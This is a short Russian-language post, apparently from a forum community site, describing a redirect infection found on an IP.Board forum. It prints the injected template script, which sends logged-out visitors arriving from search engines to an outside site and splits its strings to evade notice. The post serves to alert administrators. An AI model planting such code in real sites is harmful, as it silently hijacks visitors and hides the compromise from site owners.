Вирус редирект на IP.Board
На одном форуме IPB 2.1.7 (но версия может быть любой) жаловались, что при переходе со ссылок с поисковиков, а так же с почтовой рассылке происходило переадресация на сторонний сайт. При условии, что данный пользователь в данный момент не авторизован на форуме.
Ситуация не самая частая. Чаще на такое попадаются гости, а администрация сайта остается не информированная.
Анализ того сайта, показал, что в шаблоне topic_page_top лежит скрипт:
<if="ipb.member['id'] <= 0"><script>function R(){var Ref=document.referrer;if(Ref.indexOf('.google.')!=-1||Ref.indexOf('.bing.')!=-1||Ref.indexOf('.yahoo.')!=-1||Ref.indexOf('.aol.')!=-1||Ref.indexOf('.ask.')!=-1||Ref.indexOf('.altavista.')!=-1||Ref.indexOf('.yandex.')!=-1){document.write('<script language="javascript">docu'+'ment.location="http://tvoyarodoslovnaya.com/?wmid=1688&subid=3813"</s'+'cript>')}else{document.write('.')}}R();</script></if>
Посмотрел на поисковиках, этот форум не единственный, кто попал. Но подозреваю, что таких форумов гораздо больше.
-
4
Sign in to follow this
Followers
0
2 Comments
Recommended Comments
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now